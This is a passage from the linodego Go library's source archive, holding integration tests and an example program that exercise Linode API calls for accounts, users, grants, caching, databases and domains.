teardown, err } golang-github-linode-linodego-1.28.0/test/integration/account_payments_test.go000066400000000000000000000033151455402072200276460ustar00rootroot00000000000000package integration import ( "context" "testing" . "github.com/linode/linodego" ) func TestPayment_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestPayment_GetMissing") defer teardown() i, err := client.GetPayment(context.Background(), -1) if err == nil { t.Errorf("should have received an error requesting a missing payment, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing payment, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing payment, got %v", e.Code) } } func TestPayment_GetFound(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestPayment_GetFound") defer teardown() p, err := client.ListPayments(context.Background(), nil) if err != nil { t.Errorf("Error listing payments, expected struct, got error %v", err) } if len(p) == 0 { t.Errorf("Expected a list of payments, but got none %v", p) } client, teardown = createTestClient(t, "fixtures/TestGetPayment_found") defer teardown() i, err := client.GetPayment(context.Background(), p[0].ID) if err != nil { t.Errorf("Error getting payment, expected struct, got %v and error %v", i, err) } if i.ID != p[0].ID { t.Errorf("Expected a specific payment, but got a different one %v", i) } assertDateSet(t, i.Date) } func TestPayments_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestPayments_List") defer teardown() i, err := client.ListPayments(context.Background(), nil) if err != nil { t.Errorf("Error listing payments, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of payments, but got none %v", i) } } golang-github-linode-linodego-1.28.0/test/integration/account_test.go000066400000000000000000000006411455402072200257250ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestAccount_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccount_Get") defer teardown() account, err := client.GetAccount(context.Background()) if err != nil { t.Errorf("Error getting Account, expected struct, got error %v", err) } if len(account.Email) < 1 { t.Error("Error accessing Account, expected Email") } } golang-github-linode-linodego-1.28.0/test/integration/account_transfer_test.go000066400000000000000000000016061455402072200276330ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestAccount_getTransfer(t *testing.T) { client := createMockClient(t) desiredResponse := linodego.AccountTransfer{ Billable: 123, Quota: 456, Used: 789, RegionTransfers: []linodego.AccountTransferRegion{ { ID: "us-southeast", Billable: 987, Quota: 654, Used: 3211, }, }, } httpmock.RegisterRegexpResponder("GET", mockRequestURL(t, "/account/transfer"), httpmock.NewJsonResponderOrPanic(200, &desiredResponse)) questions, err := client.GetAccountTransfer(context.Background()) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*questions, desiredResponse) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(questions, desiredResponse)) } } golang-github-linode-linodego-1.28.0/test/integration/account_user_grants_test.go000066400000000000000000000047431455402072200303500ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) func TestUserGrants_Update(t *testing.T) { username := usernamePrefix + "updateusergrants" client, _, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = usernamePrefix + "updateusergrants@example.com" createOpts.Restricted = true }, }, "fixtures/TestUserGrants_Update") defer teardown() accessLevel := linodego.AccessLevelReadOnly globalGrants := linodego.GlobalUserGrants{ AccountAccess: &accessLevel, AddDomains: false, AddDatabases: true, AddFirewalls: true, AddImages: true, AddLinodes: false, AddLongview: true, AddNodeBalancers: false, AddStackScripts: true, AddVolumes: true, CancelAccount: false, } grants, err := client.UpdateUserGrants(context.TODO(), username, linodego.UserGrantsUpdateOptions{ Global: globalGrants, }) if err != nil { t.Fatalf("failed to get user grants: %s", err) } if !cmp.Equal(grants.Global, globalGrants) { t.Errorf("expected rules to match test rules, but got diff: %s", cmp.Diff(grants.Global, globalGrants)) } } func TestUserGrants_UpdateNoAccess(t *testing.T) { username := usernamePrefix + "updateusergrantsna" client, _, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = usernamePrefix + "updateusergrants@example.com" createOpts.Restricted = true }, }, "fixtures/TestUserGrants_UpdateNoAccess") defer teardown() globalGrants := linodego.GlobalUserGrants{ AccountAccess: nil, } grants, err := client.UpdateUserGrants(context.TODO(), username, linodego.UserGrantsUpdateOptions{ Global: globalGrants, }) if err != nil { t.Fatalf("failed to get user grants: %s", err) } if !cmp.Equal(grants.Global, globalGrants) { t.Errorf("expected rules to match test rules, but got diff: %s", cmp.Diff(grants.Global, globalGrants)) } // Ensure all grants are no access grantFields := [][]linodego.GrantedEntity{ grants.Domain, grants.Firewall, grants.Image, grants.Linode, grants.Longview, grants.NodeBalancer, grants.StackScript, grants.Volume, } for _, grantField := range grantFields { for _, grant := range grantField { if grant.Permissions != "" { t.Errorf("expected permissions to be nil, but got %s", grant.Permissions) } } } } golang-github-linode-linodego-1.28.0/test/integration/account_users_test.go000066400000000000000000000112711455402072200271470ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp/cmpopts" "github.com/linode/linodego" . "github.com/linode/linodego" ) const usernamePrefix = "linodegotest-" var ignoreUserTimestampes = cmpopts.IgnoreFields(linodego.User{}, "PasswordCreated") type userModifier func(*linodego.UserCreateOptions) func TestUser_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestUser_GetMissing") defer teardown() i, err := client.GetUser(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing user, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing user, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing user, got %v", e.Code) } } func TestUser_Get_smoke(t *testing.T) { username := usernamePrefix + "getuser" email := usernamePrefix + "getuser@example.com" restricted := true client, _, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = email createOpts.Restricted = restricted }, }, "fixtures/TestUser_Get") defer teardown() user, err := client.GetUser(context.TODO(), username) if err != nil { t.Fatalf("failed to get user (%s): %s", username, err) } if user.Email != email { t.Errorf("expected user email to be %s; got %s", email, user.Email) } if len(user.SSHKeys) != 0 { t.Error("expected user to have no SSH keys") } if !user.Restricted { t.Error("expected user to be restricted") } if user.TFAEnabled { t.Error("expected TFA is disabled") } if user.VerifiedPhoneNumber != nil { t.Error("expected phone number is not set") } } func TestUser_Update(t *testing.T) { username := usernamePrefix + "updateuser" email := usernamePrefix + "updateuser@example.com" restricted := false client, user, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = email createOpts.Restricted = restricted }, }, "fixtures/TestUser_Update") defer teardown() updatedUsername := username + "-updated" restricted = true updateOpts := UserUpdateOptions{ Username: updatedUsername, Restricted: &restricted, } updated, err := client.UpdateUser(context.TODO(), username, updateOpts) if err != nil { t.Fatalf("failed to update user (%s): %s", username, err) } // update username to be deleted in teardown user.Username = updatedUsername if updated.Username != updatedUsername { t.Errorf("expected username to be %s; got %s", updatedUsername, updated.Username) } if !updated.Restricted { t.Error("expected user to be restricted") } } func TestUsers_List(t *testing.T) { username := usernamePrefix + "listuser" email := usernamePrefix + "listuser@example.com" restricted := false client, _, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = email createOpts.Restricted = restricted }, }, "fixtures/TestUsers_List") defer teardown() users, err := client.ListUsers(context.TODO(), nil) if err != nil { t.Fatalf("failed to get users: %s", err) } if len(users) == 0 { t.Fatalf("expected at least one user to be returned") } var newUser User for _, user := range users { if user.Username == username { newUser = user } } if newUser.Email != email { t.Errorf("expected user email to be %s; got %s", email, newUser.Email) } if len(newUser.SSHKeys) != 0 { t.Error("expected user to have no SSH keys") } if newUser.Restricted { t.Error("expected user to not be restricted") } if newUser.TFAEnabled { t.Error("expected TFA is disabled") } if newUser.VerifiedPhoneNumber != nil { t.Error("expected phone number is not set") } } func createUser(t *testing.T, client *linodego.Client, userModifiers ...userModifier) (*User, func()) { t.Helper() var createOpts UserCreateOptions for _, modifier := range userModifiers { modifier(&createOpts) } user, err := client.CreateUser(context.TODO(), createOpts) if err != nil { t.Fatalf("failed to create test user: %s", err) } return user, func() { if err := client.DeleteUser(context.TODO(), user.Username); err != nil { t.Errorf("failed to delete test user (%s): %s", user.Username, err) } } } func setupUser(t *testing.T, userModifiers []userModifier, fixturesYaml string) (*Client, *User, func()) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) user, teardown := createUser(t, client, userModifiers...) return client, user, func() { teardown() fixtureTeardown() } } golang-github-linode-linodego-1.28.0/test/integration/betas_test.go000066400000000000000000000016741455402072200253760ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestBetaPrograms_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestBetaPrograms_List") defer teardown() betas, err := client.ListBetaPrograms(context.Background(), &linodego.ListOptions{}) if err != nil { t.Errorf("Error getting Beta programs, expected struct, got error %v", err) } if len(betas) == 0 { t.Errorf("Expected to see beta program returned.") } else { assertDateSet(t, betas[0].Started) } } func TestBetaProgram_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestBetaProgram_Get") defer teardown() betaID := "active_closed" beta, err := client.GetBetaProgram(context.Background(), betaID) if err != nil { t.Errorf("Error getting Beta program, expected struct, got error %v", err) } if beta.ID != betaID { t.Errorf("expected beta ID to be %s; got %s", betaID, beta.ID) } } golang-github-linode-linodego-1.28.0/test/integration/cache_test.go000066400000000000000000000055371455402072200253450ustar00rootroot00000000000000package integration import ( "context" "github.com/linode/linodego" "strings" "sync/atomic" "testing" "time" ) func TestCache_RegionList(t *testing.T) { validateResult := func(r []linodego.Region, err error) { if err != nil { t.Fatal(err) } if len(r) == 0 { t.Fatalf("expected a list of regions - %v", r) } } client, teardown := createTestClient(t, "fixtures/TestCache_RegionList") defer teardown() // Collect request number totalRequests := int64(0) client.OnBeforeRequest(func(request *linodego.Request) error { if !strings.Contains(request.URL, "regions") { return nil } if request.QueryParam.Has("page") { return nil } atomic.AddInt64(&totalRequests, 1) return nil }) // Ensure that overrides work as intended client.SetGlobalCacheExpiration(0) // First request (no cache) validateResult(client.ListRegions(context.Background(), nil)) // Second request (cached) validateResult(client.ListRegions(context.Background(), nil)) // Clear cache client.InvalidateCache() // Third request (non-cached) validateResult(client.ListRegions(context.Background(), nil)) // Invalidate the region response if err := client.InvalidateCacheEndpoint("/regions"); err != nil { t.Fatal(err) } // Fourth request (non-cached) validateResult(client.ListRegions(context.Background(), nil)) // Fifth request (cache disabled) client.UseCache(false) validateResult(client.ListRegions(context.Background(), nil)) // Sixth request (cache disabled) validateResult(client.ListRegions(context.Background(), nil)) // Validate request count if totalRequests != 4 { t.Fatalf("expected 4 requests, got %d", totalRequests) } } func TestCache_Expiration(t *testing.T) { validateResult := func(r []linodego.LinodeKernel, err error) { if err != nil { t.Fatal(err) } if len(r) == 0 { t.Fatalf("expected a list of kernels - %v", r) } } client, teardown := createTestClient(t, "fixtures/TestCache_Expiration") defer teardown() // Collect request number totalRequests := int64(0) client.OnBeforeRequest(func(request *linodego.Request) error { if !strings.Contains(request.URL, "kernels") || request.QueryParam.Has("page") { return nil } atomic.AddInt64(&totalRequests, 1) return nil }) // First request (no cache) validateResult(client.ListKernels(context.Background(), nil)) // Second request (cached) validateResult(client.ListKernels(context.Background(), nil)) // Entries should expire immediately client.SetGlobalCacheExpiration(0) // Third request (non-cached) validateResult(client.ListKernels(context.Background(), nil)) // Entries shouldn't expire client.SetGlobalCacheExpiration(time.Hour) // Fourth request (cached) validateResult(client.ListKernels(context.Background(), nil)) // Validate request count if totalRequests != 2 { t.Fatalf("expected 2 requests, got %d", totalRequests) } } golang-github-linode-linodego-1.28.0/test/integration/client_test.go000066400000000000000000000027161455402072200255540ustar00rootroot00000000000000package integration import ( "context" "golang.org/x/net/http2" "net/http" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestClient_NGINXRetry(t *testing.T) { client := createMockClient(t) // Recreate the NGINX LB error nginxErrorFunc := func(request *http.Request) (*http.Response, error) { resp := httpmock.NewStringResponse(400, "") resp.Header.Add("Server", "nginx") resp.Header.Set("Content-Type", "text/html") return resp, nil } step := 0 httpmock.RegisterRegexpResponder("PUT", mockRequestURL(t, "/profile"), func(request *http.Request) (*http.Response, error) { if step == 0 { step++ return nginxErrorFunc(request) } step++ return httpmock.NewJsonResponse(200, nil) }) if _, err := client.UpdateProfile(context.Background(), linodego.ProfileUpdateOptions{}); err != nil { t.Fatal(err) } if step != 2 { t.Fatalf("retry checks did not finish") } } func TestClient_GoAwayRetry(t *testing.T) { client := createMockClient(t) step := 0 httpmock.RegisterRegexpResponder("PUT", mockRequestURL(t, "/profile"), func(request *http.Request) (*http.Response, error) { if step == 0 { step++ return nil, http2.GoAwayError{} } step++ return httpmock.NewJsonResponse(200, nil) }) if _, err := client.UpdateProfile(context.Background(), linodego.ProfileUpdateOptions{}); err != nil { t.Fatal(err) } if step != 2 { t.Fatalf("retry checks did not finish") } } golang-github-linode-linodego-1.28.0/test/integration/databases_test.go000066400000000000000000000055351455402072200262270ustar00rootroot00000000000000package integration import ( "context" "testing" "time" "github.com/google/go-cmp/cmp/cmpopts" "github.com/linode/linodego" ) var ignoreDatabaseTimestampes = cmpopts.IgnoreFields(linodego.Database{}, "Created", "Updated") func TestDatabase_Engine(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestDatabase_Engine") defer teardown() engines, err := client.ListDatabaseEngines(context.Background(), nil) if err != nil { t.Errorf("Failed to get list of Database Engines: %v", err) } if len(engines) <= 0 { t.Fatal("failed to get list of database engines") } engine := engines[0] response, err := client.GetDatabaseEngine(context.Background(), nil, engine.ID) if err != nil { t.Errorf("Failed to get one database Engine: %v", err) } if engine.Engine != response.Engine { t.Fatal("recieved engine does not match source") } } func TestDatabase_Type(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestDatabase_Type") defer teardown() types, err := client.ListDatabaseTypes(context.Background(), nil) if err != nil { t.Errorf("Failed to get list of Database Types: %v", err) } if len(types) <= 0 { t.Fatal("failed to get list of database Types") } aType := types[0] response, err := client.GetDatabaseType(context.Background(), nil, aType.ID) if err != nil { t.Errorf("Failed to get one database Type: %v", err) } if aType.Label != response.Label { t.Fatal("recieved type does not match source") } if response.Engines.MySQL[0].Quantity != aType.Engines.MySQL[0].Quantity { t.Fatalf("mismatched type quantity: %d, %d", response.Engines.MySQL[0].Quantity, aType.Engines.MySQL[0].Quantity) } } func TestDatabase_List_smoke(t *testing.T) { client, database, teardown, err := setupPostgresDatabase(t, nil, "fixtures/TestDatabase_List") if err != nil { t.Error(err) } defer teardown() dbs, err := client.ListDatabases(context.Background(), nil) if len(dbs) == 0 { t.Errorf("Expected a list of Databases, but got none: %v", err) } if err != nil { t.Errorf("Error listing Databases, expected struct, got error %v", err) } success := false for _, db := range dbs { if db.ID == database.ID { success = true } } if !success { t.Error("database not in database list") } } func waitForDatabaseUpdated(t *testing.T, client *linodego.Client, dbID int, dbType linodego.DatabaseEngineType, minStart *time.Time, ) { _, err := client.WaitForEventFinished(context.Background(), dbID, linodego.EntityDatabase, linodego.ActionDatabaseUpdate, *minStart, 1200) if err != nil { t.Fatalf("failed to wait for database update: %s", err) } // Sometimes the event has finished but the status hasn't caught up err = client.WaitForDatabaseStatus(context.Background(), dbID, dbType, linodego.DatabaseStatusActive, 120) if err != nil { t.Fatalf("failed to wait for database active: %s", err) } } golang-github-linode-linodego-1.28.0/test/integration/domain_records_test.go000066400000000000000000000075621455402072200272720ustar00rootroot00000000000000package integration import ( "context" "encoding/json" "testing" "github.com/linode/linodego" ) var testDomainRecordCreateOpts = linodego.DomainRecordCreateOptions{ Target: "127.0.0.1", Type: linodego.RecordTypeA, Name: "a", } func TestDomainRecord_Create_smoke(t *testing.T) { _, _, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecord_Create") defer teardown() if err != nil { t.Errorf("Error creating domain record, got error %v", err) } expected := testDomainRecordCreateOpts // cant compare Target, fixture IPs are sanitized if record.Name != expected.Name || record.Type != expected.Type { t.Errorf("DomainRecord did not match CreateOptions") } } func TestDomainRecord_Update(t *testing.T) { client, domain, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecord_Update") defer teardown() if err != nil { t.Error(err) } updateOpts := linodego.DomainRecordUpdateOptions{ Name: "renamed", } recordUpdated, err := client.UpdateDomainRecord(context.Background(), domain.ID, record.ID, updateOpts) if err != nil { t.Errorf("Error updating domain record, %s", err) } if recordUpdated.Name != "renamed" || record.Type != recordUpdated.Type || recordUpdated.Target != record.Target { t.Errorf("DomainRecord did not match UpdateOptions") } } func TestDomainRecords_List(t *testing.T) { client, domain, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecords_List") defer teardown() if err != nil { t.Error(err) } filter, err := json.Marshal(map[string]interface{}{ "name": record.Name, }) if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, string(filter)) records, err := client.ListDomainRecords(context.Background(), domain.ID, listOpts) if err != nil { t.Errorf("Error listing domains records, expected array, got error %v", err) } if len(records) != 1 { t.Errorf("Expected ListDomainRecords to match one result") } } func TestDomainRecords_ListMultiplePages(t *testing.T) { client, domain, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecords_ListMultiplePages") defer teardown() if err != nil { t.Error(err) } filter, err := json.Marshal(map[string]interface{}{ "name": record.Name, }) if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, string(filter)) records, err := client.ListDomainRecords(context.Background(), domain.ID, listOpts) if err != nil { t.Errorf("Error listing domains records, expected array, got error %v", err) } if len(records) != 1 { t.Errorf("Expected ListDomainRecords to match one result") } } func TestDomainRecord_Get(t *testing.T) { client, domain, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecord_Get") defer teardown() if err != nil { t.Error(err) } recordGot, err := client.GetDomainRecord(context.Background(), domain.ID, record.ID) if recordGot.Name != record.Name { t.Errorf("GetDomainRecord did not get the expected record") } if err != nil { t.Errorf("Error getting domain %d, got error %v", domain.ID, err) } } func setupDomainRecord(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Domain, *linodego.DomainRecord, func(), error) { t.Helper() var fixtureTeardown func() client, domain, fixtureTeardown, err := setupDomain(t, fixturesYaml) if err != nil { t.Errorf("Error creating domain, got error %v", err) } createOpts := testDomainRecordCreateOpts record, err := client.CreateDomainRecord(context.Background(), domain.ID, createOpts) if err != nil { t.Errorf("Error creating domain record, got error %v", err) } teardown := func() { // delete the DomainRecord to exercise the code if err := client.DeleteDomainRecord(context.Background(), domain.ID, record.ID); err != nil { t.Errorf("Expected to delete a domain record, but got %v", err) } fixtureTeardown() } return client, domain, record, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/domains_test.go000066400000000000000000000056001455402072200257230ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) var testDomainCreateOpts = linodego.DomainCreateOptions{ Type: linodego.DomainTypeMaster, SOAEmail: "example@example.com", } func TestDomain_Create_smoke(t *testing.T) { _, domain, teardown, err := setupDomain(t, "fixtures/TestDomain_Create") defer teardown() if err != nil { t.Errorf("Error creating domain: %v", err) } // when comparing fixtures to random value Domain will differ if domain.SOAEmail != testDomainCreateOpts.SOAEmail { t.Errorf("Domain returned does not match domain create request") } } func TestDomain_Update(t *testing.T) { client, domain, teardown, err := setupDomain(t, "fixtures/TestDomain_Update") defer teardown() if err != nil { t.Error(err) } updateOpts := linodego.DomainUpdateOptions{ Domain: "linodego-renamed-domain.com", } domain, err = client.UpdateDomain(context.Background(), domain.ID, updateOpts) if err != nil { t.Errorf("Error renaming domain, %s", err) } else if domain.Domain != updateOpts.Domain { t.Errorf("Error renaming domain: Domain does not match") } } func TestDomains_List_smoke(t *testing.T) { client, _, teardown, err := setupDomain(t, "fixtures/TestDomains_List") defer teardown() if err != nil { t.Error(err) } domains, err := client.ListDomains(context.Background(), nil) if err != nil { t.Errorf("Error listing domains, expected struct, got error %v", err) } if len(domains) == 0 { t.Errorf("Expected a list of domains, but got %v", domains) } } func TestDomain_Get(t *testing.T) { client, domain, teardown, err := setupDomain(t, "fixtures/TestDomain_Get") defer teardown() if err != nil { t.Error(err) } _, err = client.GetDomain(context.Background(), domain.ID) if err != nil { t.Errorf("Error getting domain %d, expected *Domain, got error %v", domain.ID, err) } } func TestDomain_ZoneFile_Get(t *testing.T) { client, domain, teardown, err := setupDomain(t, "fixtures/TestDomain_ZoneFile_Get") defer teardown() if err != nil { t.Error(err) } _, err = client.GetDomainZoneFile(context.Background(), domain.ID) if err != nil { t.Errorf("failed to get domain zone file %d, expected *DomainZoneFile, got error %v", domain.ID, err) } } func setupDomain(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Domain, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := testDomainCreateOpts createOpts.Domain = "linodego-blue-test.com" domain, err := client.CreateDomain(context.Background(), createOpts) if err != nil { t.Errorf("Error creating domain, expected struct, got error %v", err) } teardown := func() { if err := client.DeleteDomain(context.Background(), domain.ID); err != nil { t.Errorf("Expected to delete a domain, but got %v", err) } fixtureTeardown() } return client, domain, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/example_integration_test.go000066400000000000000000000274331455402072200303370ustar00rootroot00000000000000package integration import ( "context" "fmt" "github.com/linode/linodego" "log" "math" "math/rand" "os" "strconv" ) var spendMoney = false func init() { // Trigger endpoints that accrue a balance apiToken, apiOk := os.LookupEnv("LINODE_TOKEN") spendMoney = spendMoney && apiOk var err error if err != nil { log.Fatal(err) } if !apiOk || len(apiToken) == 0 { log.Fatal("Could not find LINODE_TOKEN, please verify that it is set.") } // Wether or not we will walk example endpoints that cost money if envSpend, spendSet := os.LookupEnv("LINODE_SPEND"); apiOk && spendSet { if apiSpend, err := strconv.Atoi(envSpend); err == nil { log.Println("LINODE_SPEND being set to", apiSpend > 0) spendMoney = apiSpend > 0 } else { log.Fatalln("LINODE_SPEND should be an integer, 0 or 1") } } } func ExampleClient_GetAccount() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleGetAccount") defer teardown() account, err := linodeClient.GetAccount(context.Background()) if err != nil { log.Fatalln("* While getting account: ", err) } fmt.Println("Account has email:", len(account.Email) > 0) // Output: // Account has email: true } func ExampleClient_ListUsers() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListUsers") defer teardown() users, err := linodeClient.ListUsers(context.Background(), nil) if err != nil { log.Fatalln("* While getting users: ", err) } fmt.Println("User exists:", len(users) > 0) // Output: // User exists: true } func Example() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/Example") defer teardown() var linode *linodego.Instance linode, err := linodeClient.GetInstance(context.Background(), 1231) fmt.Println("## Instance request with Invalid ID") fmt.Println("### Linode:", linode) fmt.Println("### Error:", err) if spendMoney { linode, err = linodeClient.CreateInstance(context.Background(), linodego.InstanceCreateOptions{Region: "us-southeast", Type: "g5-nanode-1"}) if err != nil { log.Fatalln("* While creating instance: ", err) } linode, err = linodeClient.UpdateInstance(context.Background(), linode.ID, linodego.InstanceUpdateOptions{Label: linode.Label + "-renamed"}) if err != nil { log.Fatalln("* While renaming instance: ", err) } fmt.Println("## Created Instance") event, errEvent := linodeClient.WaitForEventFinished(context.Background(), linode.ID, linodego.EntityLinode, linodego.ActionLinodeCreate, *linode.Created, 240) if errEvent != nil { log.Fatalf("* Failed to wait for Linode %d to finish creation: %s", linode.ID, errEvent) } if errEvent = linodeClient.MarkEventRead(context.Background(), event); errEvent != nil { log.Fatalln("* Failed to mark Linode create event seen", errEvent) } diskSwap, errSwap := linodeClient.CreateInstanceDisk(context.Background(), linode.ID, linodego.InstanceDiskCreateOptions{Size: 50, Filesystem: "swap", Label: "linodego_swap"}) if errSwap != nil { log.Fatalln("* While creating swap disk:", errSwap) } eventSwap, errSwapEvent := linodeClient.WaitForEventFinished(context.Background(), linode.ID, linodego.EntityLinode, linodego.ActionDiskCreate, *diskSwap.Created, 240) // @TODO it is not sufficient that a disk was created. Which disk was it? // Sounds like we'll need a WaitForEntityStatus function. if errSwapEvent != nil { log.Fatalf("* Failed to wait for swap disk %d to finish creation: %s", diskSwap.ID, errSwapEvent) } if errSwapEvent = linodeClient.MarkEventRead(context.Background(), eventSwap); errSwapEvent != nil { log.Fatalln("* Failed to mark swap disk create event seen", errSwapEvent) } diskRaw, errRaw := linodeClient.CreateInstanceDisk(context.Background(), linode.ID, linodego.InstanceDiskCreateOptions{Size: 50, Filesystem: "raw", Label: "linodego_raw"}) if errRaw != nil { log.Fatalln("* While creating raw disk:", errRaw) } eventRaw, errRawEvent := linodeClient.WaitForEventFinished(context.Background(), linode.ID, linodego.EntityLinode, linodego.ActionDiskCreate, *diskRaw.Created, 240) // @TODO it is not sufficient that a disk was created. Which disk was it? // Sounds like we'll need a WaitForEntityStatus function. if errRawEvent != nil { log.Fatalf("* Failed to wait for raw disk %d to finish creation: %s", diskRaw.ID, errRawEvent) } if errRawEvent = linodeClient.MarkEventRead(context.Background(), eventRaw); errRawEvent != nil { log.Fatalln("* Failed to mark raw disk create event seen", errRawEvent) } diskDebian, errDebian := linodeClient.CreateInstanceDisk( context.Background(), linode.ID, linodego.InstanceDiskCreateOptions{ Size: 1500, Filesystem: "ext4", Image: "linode/debian9", Label: "linodego_debian", RootPass: randPassword(), }, ) if errDebian != nil { log.Fatalln("* While creating Debian disk:", errDebian) } eventDebian, errDebianEvent := linodeClient.WaitForEventFinished(context.Background(), linode.ID, linodego.EntityLinode, linodego.ActionDiskCreate, *diskDebian.Created, 240) // @TODO it is not sufficient that a disk was created. Which disk was it? // Sounds like we'll need a WaitForEntityStatus function. if errDebianEvent != nil { log.Fatalf("* Failed to wait for Debian disk %d to finish creation: %s", diskDebian.ID, errDebianEvent) } if errDebianEvent = linodeClient.MarkEventRead(context.Background(), eventDebian); errDebianEvent != nil { log.Fatalln("* Failed to mark Debian disk create event seen", errDebianEvent) } fmt.Println("### Created Disks") createOpts := linodego.InstanceConfigCreateOptions{ Devices: linodego.InstanceConfigDeviceMap{ SDA: &linodego.InstanceConfigDevice{DiskID: diskDebian.ID}, SDB: &linodego.InstanceConfigDevice{DiskID: diskRaw.ID}, SDC: &linodego.InstanceConfigDevice{DiskID: diskSwap.ID}, }, Kernel: "linode/direct-disk", Label: "example config label", // RunLevel: "default", // VirtMode: "paravirt", Comments: "example config comment", // RootDevice: "/dev/sda", Helpers: &linodego.InstanceConfigHelpers{ Network: true, ModulesDep: false, }, } config, errConfig := linodeClient.CreateInstanceConfig(context.Background(), linode.ID, createOpts) if errConfig != nil { log.Fatalln("* Failed to create Config", errConfig) } fmt.Println("### Created Config:") updateOpts := linodego.InstanceConfigUpdateOptions{ Comments: "updated example config comment", } config, errConfig = linodeClient.UpdateInstanceConfig(context.Background(), linode.ID, config.ID, updateOpts) if errConfig != nil { log.Fatalln("* Failed to update Config", errConfig) } fmt.Println("### Updated Config:") errBoot := linodeClient.BootInstance(context.Background(), linode.ID, config.ID) if errBoot != nil { log.Fatalln("* Failed to boot Instance", errBoot) } fmt.Println("### Booted Instance") eventBooted, errBootEvent := linodeClient.WaitForEventFinished(context.Background(), linode.ID, linodego.EntityLinode, linodego.ActionLinodeBoot, *config.Updated, 240) if errBootEvent != nil { fmt.Println("### Boot Instance failed as expected:", errBootEvent) } else { log.Fatalln("* Expected boot Instance to fail") } if errBootEvent = linodeClient.MarkEventRead(context.Background(), eventBooted); errBootEvent != nil { log.Fatalln("* Failed to mark boot event seen", errBootEvent) } err = linodeClient.DeleteInstanceConfig(context.Background(), linode.ID, config.ID) if err != nil { log.Fatalln("* Failed to delete Config", err) } fmt.Println("### Deleted Config") err = linodeClient.DeleteInstanceDisk(context.Background(), linode.ID, diskSwap.ID) if err != nil { log.Fatalln("* Failed to delete Disk", err) } fmt.Println("### Deleted Disk") err = linodeClient.DeleteInstance(context.Background(), linode.ID) if err != nil { log.Fatalln("* Failed to delete Instance", err) } fmt.Println("### Deleted Instance") } linodes, err := linodeClient.ListInstances(context.Background(), nil) if err != nil { log.Fatal(err) } fmt.Println("## List Instances") if len(linodes) == 0 { log.Println("No Linodes to inspect.") } else { // This is redundantly used for illustrative purposes linode, err = linodeClient.GetInstance(context.Background(), linodes[0].ID) if err != nil { log.Fatal(err) } fmt.Println("## First Linode") configs, err := linodeClient.ListInstanceConfigs(context.Background(), linode.ID, nil) if err != nil { log.Fatal(err) } else if len(configs) > 0 { config, err := linodeClient.GetInstanceConfig(context.Background(), linode.ID, configs[0].ID) if err != nil { log.Fatal(err) } fmt.Println("### First Config:", config.ID > 0) } else { fmt.Println("### No Configs") } disks, err := linodeClient.ListInstanceDisks(context.Background(), linode.ID, nil) if err != nil { log.Fatal(err) } else if len(disks) > 0 { disk, err := linodeClient.GetInstanceDisk(context.Background(), linode.ID, disks[0].ID) if err != nil { log.Fatal(err) } fmt.Println("### First Disk:", disk.ID > 0) } else { fmt.Println("### No Disks") } backups, err := linodeClient.GetInstanceBackups(context.Background(), linode.ID) if err != nil { log.Fatal(err) } if len(backups.Automatic) > 0 { fmt.Println("### First Auto Backup") } else { fmt.Println("### No Auto Backups") } fmt.Println("### Snapshots") if backups.Snapshot.Current != nil { // snapshot fetched will be exactly the same as backups.Snapshot.Current // just being redundant for illustrative purposes if snapshot, err := linodeClient.GetInstanceSnapshot(context.Background(), linode.ID, backups.Snapshot.Current.ID); 